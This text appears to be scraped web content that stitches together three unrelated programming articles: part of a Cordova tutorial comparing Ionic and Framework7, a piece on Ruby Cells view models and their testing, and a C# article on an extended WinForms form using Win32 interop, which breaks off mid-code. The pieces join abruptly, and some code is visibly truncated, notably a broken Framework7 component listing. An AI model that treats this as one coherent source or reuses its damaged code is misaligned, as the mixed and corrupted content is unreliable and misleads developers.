import { Component } from '@angular/core'; import { AlertController } from 'ionic-angular'; @Component({ selector: 'page-home', templateUrl: 'home.html' }) export class HomePage { tasks = [{ name: 'Hello' }, { name: 'Toptal' }, { name: 'Blog' }]; constructor(public alertCtrl: AlertController) { } addTask() { this.alertCtrl .create({ title: 'Add Task', inputs: [ { name: 'name', placeholder: 'Task' } ], buttons: [ { text: 'Cancel', role: 'cancel' }, { text: 'Add', handler: ({ name }) => { this.tasks.push({ name }); } } ] }) .present(); } }
Reinstall the application on the device:
cordova run ios
That’s it! Not that hard, was it? Now let’s try to do the same with Framework7.
Framework7
Framework7 templates are made to show all of the component capabilities, so you need to leave only the
src/components/pages/HomePage.jsx page in the
src/components/App.jsx and
src/routes.js files, clean up its content and remove extra code comments.
Now create the tasks list. Framework7 provides
<List simple-list> and
<ListItem> components for this. To place a task completion switch in it, add the
<Toggle slot="after"/> component. Remember to import all these components from the
framework7-react module. Now the page code looks like this:
import React from 'react'; import { Page, Navbar, NavTitle, List, ListItem, Toggle } from 'framework7-react'; export default () => ( <Page> <Navbar> <NavTitle>To Do List</NavTitle> </Navbar> <List simple-list> <ListItem title="Hello"> <Toggle slot="after"/> </ListItem> <ListItem title="Toptal"> <Toggle slot="after"/> </ListItem> <ListItem title="Blog"> <Toggle slot="after"/> </ListItem> </List> </Page> );
And the application itself looks like this:
Pretty good start. Let’s try moving the static data out from HTML code again. For this, use a smart component instead of the stateless one we had. Import the
Component abstract class from React:
import React, { Component } from 'react';
And write the tasks array to the
state variable instance:
export default class HomePage extends Component { state = { tasks: [{ name: 'Hello' }, { name: 'Toptal' }, { name: 'Blog' }] }; /* ... */ }
The real application is likely to use a more abstract data flow—for example with Redux or MobX—but for a small example we’ll keep to the internal component state.
Now you can use the JSX syntax to iteratively create list elements for each task in the array:
{this.state.tasks.map((task, i) => ( <ListItem title={task.name} key={i}> <Toggle slot="after"/> </ListItem> ))}
All that is left is to add the header with the button to create a new task again. The
<Navbar> element already exists, so add
<Link iconOnly> to the
<NavRight> element:
<Navbar> <NavTitle>To Do List</NavTitle> <NavRight> <Link iconOnly iconF7="add_round_fill" onClick={this.addTask}/> </NavRight> </Navbar>
In React you add tap handlers by using the
onClick property and setting the callback pointer in it. Implement the handler to show the task name dialog.
Each element in Framework7 has access to the application instance through
this.$f7 property. You can use the
dialog.prompt() method this way. Before closing the dialog, call the
setState() method of the React component and pass it the copy of the previous array with a new element. This will reactively update the list.
addTask = () => { this.$f7.dialog.prompt('Task Name:', 'Add Task', (name) => { this.setState({ tasks: [ ...this.state.tasks, { name } ] }); }); };
Here is the full component code:
import React, { Component } from 'react'; import { Page, Navbar, NavTitle, NavRight, Link, List, ListItem, Toggle } from 'framework7-react'; export default class HomePage extends Component { state = { tasks: [{ name: 'Hello' }, { name: 'Toptal' }, { name: 'Blog' }] }; addTask = () => { this.$f7.dialog.prompt('Task Name:', 'Add Task', (name) => { this.setState({ tasks: [ ...this.state.tasks, { name } ] }); }); }; render = () => ( <Page> <Navbar> <NavTitle>To Do List</NavTitle> <NavRight> <Link iconOnly </ListItem> ))} </List> </Page> ); }
Check the result:
All that is left is to rebuild and deploy to the device:
npm run build rm -rf cordova/www/* cp -r build/* cordova/www/ cd cordova/ cordova run ios
Done!
The final code for both of these projects is available on GitHub:
Results
Now you’ve seen the full tutorial with each Cordova framework. How does Framework7 stack up against Ionic?
Initial Setup
Ionic is much easier to install thanks to its CLI, while F7 requires more time for selecting and setting up a template or step-by-step installation from the ground up.
Component Diversity
Both frameworks have a full set of wonderfully crafted standard components in two themes: iOS and Material Design. Ionic additionally provides these components in Windows theme and a gigantic user themes marketplace.
In addition to fully mimicking native design and animations, a lot of attention is paid to performance optimization, providing fantastic results: Often, it’s almost impossible to discern applications on either framework from native ones.
Framework7 provides an additional list of more complex and useful components, such as Smart Select, Autocomplete, Calendar, Contacts List, Login Screen, Messages, and Photo Browser. On the other hand, Ionic provides a huge selection of user-created components.
Ecosystem and Community
Ionic obviously wins on these parameters thanks to its longer lifespan, strong financial backing, and active community. Ionic infrastructure is constantly evolving: Supporting services and cloud solutions give way to new ones and the number of plugins keeps growing.
Framework7 is better than ever, but sorely lacks community support.
Third-party Dependencies
Framework7 is more flexible in regards to third-party solutions. Its biggest strength is probably the ability to choose if you use Vue or React in the project, as well as Webpack or Browserify. Ionic is based on Angular and requires knowledge in it (and therefore TypeScript, too.)
However, recently, Ionic developers announced a new Ionic 4 beta, claiming to be completely UI-framework-agnostic—no more Angular dependencies if you don’t want them.
Cordova Frameworks: Still a Powerful Way to Develop Cross-platform Mobile Apps
Whether to use Cordova depends on the specific project. Indeed, the speed of hybrid mobile app development and its support of multiple platforms are its main advantages. But it’s always a trade-off, and sometimes you may face some flaws that would not exist with a native approach. These wonderful frameworks and their communities do a great job to reduce those flaws and make our lives easier. So, why not give them a try?
Understanding the Basics
What is Cordova?
Cordova packages web apps into native containers to run them on various mobile platforms. It loads an app in a "web view," a kind of full-screen mobile browser. It also provides an interface between JS and native code to access the native API: device features such as push notifications and camera access.
What is PhoneGap?
PhoneGap is the original name of the technology that has later been contributed to the open-source community and named Apache Cordova. Nowadays PhoneGap itself is a project that belongs to Adobe, being a set of CLI, GUI, and cloud-based tools providing useful services for Cordova-based mobile app developers.
What is Onsen UI?
Onsen UI is an HTML and JavaScript framework providing a set of UI components imitating the native look and feel of the iOS and Android platforms. It pairs with Monaca, a set of tools helping the development cycle of hybrid mobile apps.
What is Ionic?
Ionic is a UI framework based on Angular, providing a set of mobile UI components in different themes, including iOS, Material Design, and Windows Platform. Similar to PhoneGap, it also provides various additional features and services helping the cycle of development, testing, and delivery of hybrid mobile apps.
What is Framework7?
Framework7 is used for creating hybrid mobile apps. It's a set of UI components representing iOS and Material Design style guides. It has several implementations based on top of popular front-end frameworks such as React and Vue.
What is a native app?
A native app is one made for a specific mobile platform, using the native SDK and development stack. For example, an native iOS app would be developed using Swift or Objective-C, whereas a native app for Android would be written using Kotlin or Java.
What is a hybrid mobile application?
A hybrid mobile app is built using a combination of a native mobile SDK and some other technology stack, e.g., HTML and JavaScript. Technologies that produce hybrid apps are Cordova, Xamarin, React Native, and Native Script, among many others. | https://www.toptal.com/apache-cordova/frameworks-ionic-framework7 | CC-MAIN-2019-04 | refinedweb | 3,521 | 53.61 |
The stk::io namespace use_cases/io_example.cpp file.
Output a help message showing the valid options for the mesh read and options for generated mesh.
Definition at line 392 of file MeshReadWriteUtils.cpp.
Read/Generate the metadata for mesh of the specified type. By default, all entities in the mesh (nodeblocks, element blocks, nodesets, sidesets) will have an associated stk mesh part created for it.
If the mesh_data argument contains a non-null m_input_region data member, then this is assumed to be a valid Ioss::Region* that should be used instead of opening the file and creating a new Ioss::Region.
Following this call, the 'populate_bulk_data()' function should be called to read the bulk data from the mesh and generate the corresponding stk mesh entities (nodes, elements, faces, ...)
Only the non-transient data stored in the mesh database will be accessed in this function. To access any transient field data that may be on the mesh database, use the 'define_input_fields()' function.
Definition at line 495 of file MeshReadWriteUtils.cpp.
Create an exodus mesh database with the specified filename. This function creates the exodus metadata which is the number and type of element blocks, nodesets, and sidesets; and then outputs the mesh bulk data such as the node coordinates, id maps, element connectivity. When the function returns, the non-transient portion of the mesh will have been defined.
A stk part will have a corresponding exodus entity (element block, nodeset, sideset) defined if the "is_io_part()" function returns true. By default, all parts read from the mesh database in the create_input_mesh() function will return true as will all stk parts on which the function stk::io::put_io_part_attribute() was called. The function stk::io::remove_io_part_attribute(part) can be called to omit a part from being output.
Definition at line 536 of file MeshReadWriteUtils.cpp.
Add a transient step to the mesh database at time 'time' and output the data for all defined fields to the database.
Definition at line 573 of file MeshReadWriteUtils.cpp.
Read/Generate the bulk data for the mesh. The bulk_data must have been constructed using the meta_data passed to the create_input_mesh() function and the mesh_data must also be the same. This function will create all stk mesh entities (nodes, elements) with the correct nodeal coordinates, element connectivity, element attribute data, and nodeset and sideset membership. Note that meta_data.commit() needs to be called prior to calling this function.
Definition at line 589 of file MeshReadWriteUtils.cpp.
Iterate over all Ioss entities in the input mesh database and define a stk field for each transient field found. The stk field will have the same name as the field on the database.
Note that all transient fields found on the mesh database will have a corresponding stk field defined. If you want just a selected subset of the database fields defined in the stk mesh, you need to define the fields manually.
To populate the stk field with data from the database, call process_input_request().
Definition at line 760 of file MeshReadWriteUtils.cpp.
Iterate over all stk fields and for each transient field defined on a part that is output to the mesh file, define a corresponding database field. The database field will have the same name as the stk field. A transient field will be defined if the stk::io::is_valid_part_field() returns true. This can be set via a call to stk::io::set_field_role().
If the 'add_all_fields' param is true, then all transient stk fields will have a corresponding database field defined.
Definition at line 783 of file MeshReadWriteUtils.cpp.
For all transient input fields defined either manually or via the define_input_fields() function, read the data at the specified 'time' and populate the stk data structures with those values.
Definition at line 818 of file MeshReadWriteUtils.cpp.
Method to query a MeshData for the number of element blocks and the number of elements in each. MeshData is input, std:vector is output
Definition at line 847 of file MeshReadWriteUtils.cpp. | http://trilinos.sandia.gov/packages/docs/r10.8/packages/stk/doc/html/namespacestk_1_1io.html | CC-MAIN-2014-35 | refinedweb | 659 | 55.95 |
Cells: A Deeper Look into Dependency Injection and Testing
In my previous post, you and Scott learned the basic of Cells, a view model layer for Ruby and the Rails framework.
Where there used to be stacks of partials that access controller instances variables, locals, and global helper functions, there’s now stacks of cells. Cells are objects. So far, so good.
Scott now understands that every cell represents a fragment of the final web page. Also, the cell helps by embracing the logic necessary to present that very fragment and by providing the ability to render templates, just as we used to do it in controller views.
Great, but what are we gonna do with all that now?
Back in the days when Cells was a very young project, many developers got intrigued by using cells for sidebars, navigation headers, or other reusable components. The benefit of proper encapsulation and the reusability coming with it is an inevitable plus for these kinds of project.
However, cells can be used for “everything”, meaning they can replace the entire ActionView render stack and provide entire pages, a lot faster and with a better architecture.
This intrigues Scott.
A User Listing
Why not implement a page that lists all users signed up for Scott’s popular web application?
In Rails, this feature normally sits in the
UsersController and its
#index action. Instead of using a controller view, let’s use Cells for that.
Page Cell Without Layout
For a better understanding, we should start off with the
UsersController and see how a page cell is rendered from there.
Please note that we still use the controller’s layout to wrap around the user listing. That’s because we want to learn how to use Cells step-wise. Scott likes that. But Scott needs to keep in mind that Cells can also render the application layout, making ActionView completely redundant! This we will explore at a later point.
class UsersController < ApplicationController def index render html: cell("user_index_cell"), layout: true end ...
All the controller does is rendering the
UserIndexCell that we have to implement now. Did you notice that there’s no model passed into the
cell call? This is because cells can aggregate data on their own, if desired. We’ll shortly learn what’s the best way of handling dependencies.
Using
render with the
:html option will simply return the passed string to the browser. With
layout: true it – surprisingly – wraps that string in the controller’s layout.
This is all Rails specific. Now, let’s get to the actual cell. The new
UserIndexCell would go into app/cells/user_index_cell.rb in a conventional setup:
In Trailblazer, cells have a different naming structure and directory layout. Scott’s user cell would be called
User::Cell::Indexand sit in
app/concepts/user/cell/index.rb, but that’s a whole different story for a follow-up post.
class UserIndexCell < Cell::ViewModel def show @model = User.all render end end
With the introductory post in the back of your head, this doesn’t look too new. The cell’s
show method will assign the
@model instance variable by invoking
User.all and then render its view.
Iterations in Views
In the view, we can use the user collection and display a nicely formatted list of users. In conventional Cells, the view resides in app/cells/user_index/show.haml and looks as follows:
%h1 All Users %ul - model.each do |user| %li = link_to user.email, user = image_tag user.avatar
Since we assigned
@model earlier, we can now use Cells’ built-in
model method in the view to iterate over the collection and render the list.
Scott, being a dedicated and self-appointed software architect, narrows his eyes to slits. Imaginary tumbleweed passes behind his 23″ external monitor. Silence.
There’s two things he doesn’t like right now:
Why does the cell fetch its model? Couldn’t this be a dependency passed in from the outer world, such as, the controller?
And, why is the cell’s view so messy? Didn’t we say that cell views should be logicless? This looks just like a partial from a conventional Rails project.
You’re right, Scott, and your architect intuition has led you to ask the right questions.
It’s not good practice to keep data aggregation knowledge in cells, unless it really makes sense and you understand your cell as a stand-alone widget.
External Dependencies
Whenever you assign
@model you must ask yourself: “Wouldn’t it be better to let someone else grab my data?”. Here’s how that is done in the controller:
class UsersController < ApplicationController def index users = User.all render html: cell("user_index_cell", users), layout: true end ...
Now it’s the controller’s responsibility to find the appropriate input for the cell. Even though Rails MVC is far from the real MVC, this is what a controller is supposed to do.
We can now simplify the cell, too:
class UserIndexCell < Cell::ViewModel def show render end end
Remember, the first argument passed to
cell is always available as
model within the cell and its view. Please don’t get confused with the term “model”, though. Rails has misapprehended us that a “model” is always one particular entity. In OOP, a model is just an object, and in our context, this is an array of persistent objects.
Let’s see how we can now polish up the view and have less logic in it. The next version of it is going to use instance methods as “helpers”. A bit better, but not perfect:
%h1 All Users %ul - model.each do |user| %li = link user = avatar user
Instead of keeping model internals in the view, two “helpers”
link and
avatar now do the job. Since we’re iterating, we still have to pass the iterated user object to the method – a result of a suboptimal object design we will soon fix.
Helpers == Instance Methods
In order to make
link and
avatar work, we need to add instance methods to the cell:
class UserIndexCell < Cell::ViewModel def show render end private def link(user) link_to(user.email, user) end def avatar(user) image_tag(user.avatar) end end
All presentation logic is now nicely encapsulated as instance methods in the cell. The view is tidied up, sort of, and only delegates to “helpers”.
Well, sort of, because neither does Scott like the explicit passing of the
user instance to every helper, nor is he a big fan of the manual
each loop. He scrunches up his nose…there must be a better way to do this.
Nesting Cells
In OOP, when you start passing around objects in succession, it often is an indicator for a flawed object design.
If we need to pass a single
user instance to all those helpers, why not introduce another cell? This cell has the responsibility to present a single user only, and embrace all successive helper calls in one object?
Scott’s puts on his white architect hat, again. “Yes, that sounds like good OOP.”
The logical conclusion is to introduce a new cell for one user. It will live in app/cells/user_index_detail_cell.rb.
We all know, that name is more than odd and a result of Rails’ missing convention of namespacing. Let’s go with it for now, but keep in mind that the next post will introduce Trailblazer cells, where namespaces and strong conventions make this look a lot more pleasant:
class UserIndexDetailCell < Cell::ViewModel def show render end private def link link_to(model.email, model) end def avatar image_tag(model.avatar) end end
We removed
link and
avatar from
UserIndexCell (yes, delete that code, good-bye) and moved it to
UserIndexDetailCell. Since the latter is supposed to present one user only, we can safely use
model here and do not need to pass anything around.
Here’s the view in app/cells/user_index_detail/show.haml – again, Scott, bear with me. The next post will show how this can be done in a much more streamlined structure:
%li = link = avatar
Scott loves this. Simple views can’t break, can they?
Now that we have implemented two cells (one for the page, one per listed user), how do we connect them? A simple nested cell invocation will do the trick, as illustrated in the following app/cells/user_index/show.haml view:
%h1 All Users %ul - model.each do |user| = cell("user_index_detail", user)
Where there was the hardcoded item view, we now dispatch to the new cell. As you might have guessed, this new detail cell is really instantiated and invoked every time this array’s iterated. And it’s still faster than partials!
Do not confuse that with helpers, though. The detail cell does not have any access to the index cell, and visa-versa. Dependencies have to be passed around explicitly, no cell can access another cell’s internals, instance variables or even helper methods.
Anyway, rendering collections is something the Cells authors have thought about already.
Rendering Collections
Cells provides a convenient API to render collections without having to iterate through them manually. Scott likes simple APIs as much as he adores simple, logicless views:
%h1 All Users %ul = cell("user_index_detail", collection: model)
When providing the
:collection option, Cells will do the iteration for you! And, good news, in the upcoming Cells 5.0, this will have another massive performance boost, thanks to more simplifications.
Scott is very happy about his new view architecture. He has a sip of his icey-cold beer, a reward for his hard-earned thirst, and freezes. No, it’s not the chilled beverage that makes him turn into a pillar of salt. It’s tests! He has not written a single line of them.
Testing Cells
Cells are objects and objects are very easy to test.
Now, where does one start with so many objects? We could start testing a single detail cell, just for the sake of writing tests. Scott prefers Minitest over Rspec. This doesn’t mean Scott wants to start another religious war over test frameworks, though.
A cell test consists of three steps:
- Setup the test environment, e.g. using fixtures.
- Invoke the actual cell.
- Test the output. Usually, this is done using Capybara’s fine matchers.
Speaking of Capybara, in order to use this gem properly in Minitest, it’s advisable to include the appropriate gem in your Gemfile:
group :test do gem "minitest-rails-capybara" ... end
In test_helper.rb, some Capybara helpers have to be mixed into your
Spec base class. This is to save Scott a terrible headache, or even a migrane:
Minitest::Spec.class_eval do include ::Capybara::DSL include ::Capybara::Assertions end
Now for the actual test. This test file could go in test/cells/user_index_detail_test.rb.
class UserCellTest < MiniTest::Spec include Cell::Testing controller UsersController let (:user) { User.create(email: "g@trb.to", avatar: image_fixture) } it "renders" do html = cell(:user_index_detail, user).() html.must_have_css("li a", "g@trb.to") html.must_have_css("img") end end
This is, if you have a closer look, really just a unit test. A unit test where you invoke the examined object, and assert the side effects.
The side effects, when rendering a cell, should be emitted HTML, which can be easily tested using Capybara. Scott is impressed.
Cell Test == Unit Test
The fascinating fact here is that no magic is happening anywhere.
Where a conventional Rails helper test and its convoluted magic can trick you into thinking that your code’s working, this test will break if you don’t pass the correct arguments into the cell.
You have to aggregate the correct data, instantiate and invoke the object, and then you can inspect the returned HTML fragment.
Scott scratches his head. He now understands what a cell test looks like. Invocation and assertion is all it needs. However, does it make sense to unit-test every little cell? Wouldn’t it make more sense to test the system as a whole, where we only render the
UserIndexCell and see if that runs?
Correct, Scott.
As a rule of thumb, start testing the uppermost cell and try to assert as many details from there as possible. If composed, nested cells yield a high level of complexity, then there’s nothing wrong with breaking down tests to a lower level.
The benefit of the top-down approach is, when changing internals, you won’t have to rewrite a whole bunch of tests. Does this feel familiar from “normal” OOP testing? Yes it does, because cells are just objects.
Here’s how a complete top-bottom test could be written. Instead of worrying about internals, the index cell is rendered directly:
it "renders" do html = cell(:user_index, collection: [user, user2]).() html.must_have_css("li", count: 2) html.must_have_css("li a", "g@trb.to") html.must_have_css("li a", "2@trb.to") # .. end
Note how we now render the user collection, and as a logical conclusion, assert an entire list, not just a single item.
Testing view components is no pain. The opposite is the case: it’s identical to using a cell. This behavior comes for free when you write clean, simple objects with a well-defined API.
With a few Capybara assertions, you can quickly write tests that make sure your cells will definitely work in production, making your view layer rock-solid.
What’s Next?
We’re set to write cells for all the small things, embrace them as collections with any level of complexity, and, the most important part, test those objects so it won’t break anymore.
In the next post we will discuss some expert features of Cells, such as packaging CSS and Javascript assets into the Rails assets pipeline, view inheritance, caching, and how
Trailblazer::Cell introduces a more intuitive file and naming structure.
Well done, Scott. Keep those objects coming! | https://www.sitepoint.com/cells-a-deeper-look-into-dependency-injection-and-testing/ | CC-MAIN-2018-39 | refinedweb | 2,308 | 65.83 |
Python provides different ways to read a text file and put the text file content into a string variable. In this tutorial, we will learn how to read a text file into the string variable in Python.
Read Text File Into String Variable
The file read() method can be used to read the whole text file and return as a single string. The read text can be stored into a variable which will be a string.
f = open("mytextfile.txt") text = f.read() f.close() print(text)
Alternatively the file content can be read into the string variable by using the with statement which do not requires to close file explicitly.
with open("mytextfile.txt") as f: text = f.read() print(text)
Read Text File Into String Variable with Path Module
The Path module provides the ability to read a text file by using the read_text() method. The file name is provided the Path() method and after opening the file the read_text() method is called.
from pathlib import Path text = Path("mytextfile.txt").read_text() print(text)
Read Text File Into String Variable By Removing New Lines “\n”
Regular text files contains multiple lines the end of line exist in every line which is “\n” in Linux. The string types provides the replace() method in order to replace specified characters with other characters. After reading the text file the replace() method can be called to replace the new line or end of line with noting.
f = open("mytextfile.txt") text = f.read().replace("\n","") f.close() print(text) | https://pythontect.com/how-to-read-text-file-into-string-variable-in-python/ | CC-MAIN-2022-21 | refinedweb | 257 | 71.24 |
On Tue, 14 Sep 2004 21:27:20 +0200, Martin P. Hellwig wrote:
Thank you for your reply/time, I wonder if there would be a other more elegant way to notify a program when a certain (text)file is changed. Doing it the way that it happens immediately but without burden on the system, or is this a technical paradox?
You can use kqueue for this, it provides a low level engine to implement e.g. devel/fam. It still requires that you have a list of all files you want to be informed about and likely also the directories. The later might change in the future by allowing you to capture namespace changes.
-- mph | http://leaf.dragonflybsd.org/mailarchive/users/2004-09/msg00024.html | CC-MAIN-2014-42 | refinedweb | 116 | 69.82 |
In this article, I present you with an extended version Windows Form. It has a few more features than regular Forms provided by the .NET Framework.
Originally, I implemented these features separately to help MSDN users on their requests. So I've decided to put it all together and build a Form to present in this article.
The additional features of the FormEx are:
FormEx
FormBorderStyle
KeyState
All of these features, except getting the key state, are available through the designer, so it's very easy to use as I'll explain below.
As I mentioned, it's very easy to use the features. In the sample project provided, you can see everyone of them just as the screenshot. We will go through them one by one, but first, let's see how we use the form.
You have two ways to add the new Form to your solution:
When you have done that, you're ready to start coding. First select a form from your project and edit its source code. You'll have to modify it to inherit from FormEx instead of Form:
Form
using FormExNS;
namespace TestProject
{
public partial class TestForm : FormEx
{
Now, to the features:
1 - Paint on the title bar and form Frame:.
PaintFrameArea
Paint
Graphics).
ControlBox
2 - Attach the Form to the Desktop:
I added a new property called DesktopAttached. By setting this property to true, the window will get "glued" to the desktop and will not show on the task bar. It will be below all regular windows, much like windows side bar.
DesktopAttached
true
3 - Full Screen Mode:
I added a new property called FullScreen. By setting this property to true, the window will take all the area of the current monitor and will be always over the taskbar and any other non TopMost windows. Note that if you use this in combination with DesktopAttached, the Window will take the whole screen, but will remain under every window and the taskbar. Also note that the window will remember its previous state automatically when you set FullScreen to false again.
FullScreen
TopMost
false
4 - Movable:
I added a new property called Movable. By setting this property to false, the window will no longer be movable. The user won't be able to move the window by dragging it through the title bar. When the form is unmovable, it also implicates that it's not Sizable either
Movable
Sizable
5 - Sizable:
I added a new property called Sizable. By setting this property to false, the window will no longer be sizable, despite its FormBorderStyle being set to Sizable. This might be useful if you want the look of a sizable form, but want it fixed. This property has no interference with the Movable property.
FormBorderStyle
6 - Get Key State:
I added two new methods for the Form that are related to the KeyState. They are:
KeyState GetKeyState(Keys key) - The return type as an enum that has two possible values: 0 - KeyState.Up and 1 - KeyState.Down. The parameter is the standard Keys enum provided by Windows Forms
KeyValue GetKeyValue(Keys key) - The return type as an enum that has two possible values: 0 - KeyValue.Untoggled and 1 - KeyValue.Toggled. The parameter is the standard Keys enum provided by Windows Forms
I added two new methods for the Form that are related to the KeyState. They are:
KeyState
KeyState GetKeyState(Keys key)
enum
KeyState.Up
KeyState.Down
Keys enum
KeyValue GetKeyValue(Keys key)
KeyValue.Untoggled
KeyValue.Toggled
7 - CloseButton:
I added a new property called CloseButton. By setting this property to false, the window close button will be grayed out and the user will no longer be able to close the form. The form is still closable if: The parent form gets closed, the task manager closes the application, windows shuts down or there is a call to Application.Exit()
CloseButton
Application.Exit()
One of the things that often passes by unnoticed by Windows desktop developers is how the presentation layer works. Have you ever thought of how Windows treats resizing, clicking, moving and drawing the windows?
Windows works through a messaging system. Everytime a window needs redrawing, a WM_PAINT (client area) or WM_NCPAINT (Frame Area) message is sent to the form. When the mouse moves over a form, a form is resized or is moved, a message is also sent to the form (sometimes hundreds of messages per second). So pretty much everything that happens to the form (in the form of events in .NET) are through messages. All Controls and Forms in Windows Forms framework implement void WndProc(ref Message m) method. All messages are sent through this method, where they get processed. Features 1, 4 and 5 are directly implemented by overriding this method and treating the right messages. Feature 3, is partially dependant on overriding this method also.
WM_PAINT
WM_NCPAINT
void WndProc(ref Message m)
In the Message structure, I use three properties:
Msg
WParam
LParam
The constants:
//Parameters to EnableMenuItem Win32 function
private const int SC_CLOSE = 0xF060; //The Close Box identifier
private const int MF_ENABLED = 0x0; //Enabled Value
private const int MF_DISABLED = 0x2; //Disabled Value
//Windows Messages
private const int WM_NCPAINT = 0x85;//Paint non client area message
private const int WM_PAINT = 0xF;//Paint client area message
private const int WM_SIZE = 0x5;//Resize the form message
private const int WM_IME_NOTIFY = 0x282;//Notify IME Window message
private const int WM_SETFOCUS = 0x0007;//Form.Activate message
private const int WM_SYSCOMMAND = 0x112; //SysCommand message
private const int WM_SIZING = 0x214; //Resize Message
private const int WM_NCLBUTTONDOWN = 0xA1; //L Mouse Btn on Non-Client Area is Down
private const int WM_NCACTIVATE = 0x86; //Message sent to the window when it's
//activated or deactivated
//WM_SIZING WParams that stands for Hit Tests in the direction the form is resizing
private const int HHT_ONHEADER = 0x0002;
private const int HT_TOPLEFT = 0XD;
private const int HT_TOP = 0XC;
private const int HT_TOPRIGHT = 0XE;
private const int HT_RIGHT = 0XB;
private const int HT_BOTTOMRIGHT = 0X11;
private const int HT_BOTTOM = 0XF;
private const int HT_BOTTOMLEFT = 0X10;
private const int HT_LEFT = 0XA;
//WM_SYSCOMMAND WParams that stands for which operation is being done
private const int SC_DRAGMOVE = 0xF012; //SysCommand Dragmove parameter
private const int SC_MOVE = 0xF010; //SysCommand Move with keyboard command
If you look at the overridden WndProc method of the FormEx class, you'll notice that I intercept some of these messages:
WndProc
// Prevents moving or resizing through the task bar
if ((m.Msg == WM_SYSCOMMAND && (m.WParam == new IntPtr(SC_DRAGMOVE)
|| m.WParam == new IntPtr(SC_MOVE))))
{
if (m_FullScreen || !m_Movable)
return;
}
// Prevents Resizing from dragging the borders
if (m.Msg == WM_SIZING || (m.Msg == WM_NCLBUTTONDOWN &&
(m.WParam == new IntPtr(HT_TOPLEFT) || m.WParam == new IntPtr(HT_TOP)
|| m.WParam == new IntPtr(HT_TOPRIGHT) || m.WParam == new IntPtr(HT_RIGHT)
|| m.WParam == new IntPtr(HT_BOTTOMRIGHT)
|| m.WParam == new IntPtr(HT_BOTTOM)
|| m.WParam == new IntPtr(HT_BOTTOMLEFT)
|| m.WParam == new IntPtr(HT_LEFT))))
{
if (m_FullScreen || !m_Sizable || !m_Movable)
return;
}
As you can see above, I intercept WM_SYSCOMMAND message to prevent the window from moving. I can't simply intercept this message only as it's used for several other functions on a window, I also check the WParam parameter, to verify if the WM_SYSCOMMAND message is of the type that is trying to move the window. If it is, I return and the message is discarded, so the Window won't be moved.
WM_SYSCOMMAND
WM_SYSCOMMAND
return
You might wonder why I simply won't save the location of the window and set it back everytime the user tries to move the form. This is not a good solution as the message to move will be sent and despite the message to move back happens really quick, you can see the Form moving and it does not look good, the form will keep following the cursor and will flicker enormously while you hold the mouse button down.
On the other block, I intercept both WM_SIZING and WM_NCLBUTTONDOWN to prevent the form from resizing. WM_SIZING is sent when the user tries to resize the window from the dropdown menu when you click the Form's icon, and WM_NCLBUTTONDOWN is sent whenever the user left-clicks the non-client area of the form. This message in conjunction with its hit-test parameters (WParam) lets the application determine wether the user is clicking on the edges of the form, where it's resizable. If the message falls in this condition, I return and the message is discarded, preventing the form from sizing.
WM_SIZING
WM_NCLBUTTONDOWN
If none of the conditions above are met, I forward the message to the base Form (base.WndProc(ref m);) and it's processed normally. This ensures that the remaining behaviour of a window is unchanged.
base Form
base.WndProc(ref m);
Last, but not least, there is the handling of the painting of the non-client area. It's done after the call to base.WndProc(ref m), so the window has the chance to draw its own borders on its own themed style. Afterwards, I also intercept the messages so I can let the user to do its custom drawing over the original drawing. The messages I intercept are WM_NCPAINT, WM_IME_NOTIFY, WM_SIZE and WM_NCACTIVATE. All of them causes the Non-Client area to be redrawn. The WM_NCACTIVATE message is sent when the form looses focus and changes its active state:
base.WndProc(ref m)
WM_IME_NOTIFY
WM_SIZE
WM_NCACTIVATE
base.WndProc(ref m);
// Handles painting of the Non Client Area
if (m.Msg == WM_NCPAINT || m.Msg == WM_IME_NOTIFY || m.Msg == WM_SIZE
|| m.Msg == 0x86)
{
// To avoid unnecessary graphics recreation and thus improving performance
if (m_GraphicsFrameArea == null || m.Msg == WM_SIZE)
{
ReleaseDC(this.Handle, m_WndHdc); //Release old handle
m_WndHdc = GetWindowDC(this.Handle); //Get Graphics of full window area
m_GraphicsFrameArea = Graphics.FromHdc(m_WndHdc);
Rectangle clientRecToScreen = new Rectangle(
this.PointToScreen(new Point(this.ClientRectangle.X,
this.ClientRectangle.Y)), new System.Drawing.Size(
this.ClientRectangle.Width, this.ClientRectangle.Height));
Rectangle clientRectangle = new Rectangle(clientRecToScreen.X -
this.Location.X, clientRecToScreen.Y - this.Location.Y,
clientRecToScreen.Width, clientRecToScreen.Height);
m_GraphicsFrameArea.ExcludeClip(clientRectangle); //Remove client area
}
RectangleF recF = m_GraphicsFrameArea.VisibleClipBounds;
PaintEventArgs pea = new PaintEventArgs(m_GraphicsFrameArea, new
Rectangle((int)recF.X, (int)recF.Y, (int)recF.Width, (int)recF.Height));
OnPaintFrameArea(pea);
CloseBoxEnable(m_EnableCloseButton);
this.Refresh(); //Forces repainting of the client area to remove shadows
}
Basically, what I do here after realizing the window needs repainting is:
DeviceContext
GetWindowDC
Paint
ExcludeClip
PaintEventArgs
OnPaintFrameArea
Aero Glass
As of current version of the article, painting over Aero Glass of Windows 7 / Vista is not supported. Unlike regular windows, Aero is not painted by the form, it uses DWM[^] to do the painting. For this reason, painting intercepting WM_NCPAINT will not work without disabling Aero. I plan to extend this article soon to also cover DWM.
So how about features 2, 3, 6, 7? Well, they have everything to do with Windows messaging system too, but I didn't directly change the behaviour by treating the messages, I made OS API calls.
Something very useful that most developers I see in everyday life miss, is the ability to interoperate directly to the OS. Most of Windows Forms framework is nothing more than a wrapper to native OS resources. What I did here was pretty much the same thing. I built a wrapper to API calls that was not implemented in the vanilla Form.
Below are all Win32 API calls that made features 2, 3, 6 and 7 possible. Their comments on code are self explanatory. To use it, you need to make a reference to System.Runtime.InteropServices namespace. Just put it as a using statement on the header of the CS file:
System.Runtime.InteropServices
using
//GetSystemMenu Win32 API Declaration (The Window Title bar is SystemMenu)
[DllImport("user32.dll")]
private static extern IntPtr GetSystemMenu(IntPtr hWnd, bool bRevert);
//EnableMenuItem Win32 API Declaration (Set the enabled values of the
//title bar items)
[DllImport("user32.dll")]
private static extern int EnableMenuItem(IntPtr hMenu, int wIDEnable, int wValue);
//Get Desktop Window Handle
[DllImport("user32.dll")]
private static extern IntPtr GetDesktopWindow();
//Set Parent Window, used to set the desktop's parent as the window parent
[DllImport("user32.dll")]
private static extern IntPtr SetParent(IntPtr hWndChild, IntPtr hWndNewParent);
//Find any Window in the OS. We will look for the parent of where the desktop is
[DllImport("User32.dll")]
public static extern IntPtr FindWindow(String lpClassName, String lpWindowName);
//Get the device component of the window to allow drawing on the title bar and
//frame
[DllImport("User32.dll")]
public static extern IntPtr GetWindowDC(IntPtr hWnd);
//Releases the Device Component after it's been used
